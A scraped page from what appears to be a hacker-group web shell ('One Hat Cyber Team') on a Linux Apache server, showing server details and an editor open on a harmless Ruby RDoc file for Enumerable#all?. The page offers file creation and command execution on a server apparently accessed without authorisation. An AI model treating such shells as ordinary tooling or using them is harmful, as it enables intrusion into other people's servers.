⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.13
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Enumerable
/
Edit File: all%3f-i.ri
U:RDoc::AnyMethod[iI" all?:ETI"Enumerable#all?;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"JPasses each element of the collection to the given block. The method ;TI":returns <code>true</code> if the block never returns ;TI"H<code>false</code> or <code>nil</code>. If the block is not given, ;TI"JRuby adds an implicit block of <code>{ |obj| obj }</code> which will ;TI"Jcause #all? to return +true+ when none of the collection members are ;TI"+false+ or +nil+.;To:RDoc::Markup::BlankLine o; ; [I"BIf instead a pattern is supplied, the method returns whether ;TI"B<code>pattern === element</code> for every collection member.;T@o:RDoc::Markup::Verbatim; [I"@%w[ant bear cat].all? { |word| word.length >= 3 } #=> true ;TI"A%w[ant bear cat].all? { |word| word.length >= 4 } #=> false ;TI"A%w[ant bear cat].all?(/t/) #=> false ;TI"@[1, 2i, 3.14].all?(Numeric) #=> true ;TI"A[nil, true, 99].all? #=> false ;TI"?[].all? #=> true;T:@format0: @fileI"enum.c;T:0@omit_headings_from_table_of_contents_below0I"eenum.all? [{ |obj| block } ] -> true or false enum.all?(pattern) -> true or false ;T0[ I"(*args);T@ FI"Enumerable;TcRDoc::NormalModule00
Simpan